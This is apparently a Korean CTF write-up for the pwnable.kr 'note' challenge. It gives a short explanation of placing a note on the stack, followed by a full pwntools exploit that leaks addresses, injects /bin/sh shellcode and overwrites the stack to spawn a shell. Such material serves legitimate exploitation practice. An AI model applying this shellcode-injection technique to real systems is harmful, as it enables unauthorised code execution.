이게 대체 무슨 문젤까.. 함수를 귀납적?으로 호출하면서 스택의 크기가 커진다. 그리고 엄청난 leave-ret의 향연이 벌어지는데 note를 할당해주다가 stack에 할당할 수 있다. 그러면 shellcode를 적은 주소로 ebp나 ret을 넘기자...

aslr이 꺼져있지 않았다면.. 상상도 하기 싫다. 꺼져있어도 사실 브포로 가능했을거 같기도 하고..

코드에서 ssh로 접속하면 속도가 너무 느리니, ssh로 접속후에 익스를 돌리는 것을 추천한다.

Exploit Code

from pwn import *

while True:
    p=process('./note')
    #p=remote('localhost', 9019)

    p.sendlineafter('exit\n', '6\n'*5000)

    for i in range(0, 256):
        p.sendlineafter('exit\n', '1')
        try:
            p.recvuntil('[')
        except:
            p.close()
            exit(0)
        addr = int(p.recv(8), 16)
        if i == 0:
            print "first addr : "+hex(addr)
            first_addr = addr

        if addr >= 0xffadf000:
            print "stack leak index : "+str(i)
            print "stack leak addr : "+hex(addr)

            p.sendlineafter('exit\n', '2')
            p.sendlineafter('no?\n', '0')
            p.sendlineafter(')\n', '\x90'*0x10+asm(shellcraft.i386.linux.sh()))

            p.sendlineafter('exit\n', '2')
            p.sendlineafter('no?\n', str(i))
            p.sendlineafter(')\n', p32(first_addr)*1023)

            p.sendlineafter('exit\n', '5')
            p.interactive()
            break
    p.close()

Capture the Flag

image

'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글

loveletter  (0) 2020.03.08
simple login  (0) 2020.03.07
rsa calculator  (0) 2020.03.07
md5 calculator  (0) 2020.03.07
fsb  (0) 2020.03.07

+ Recent posts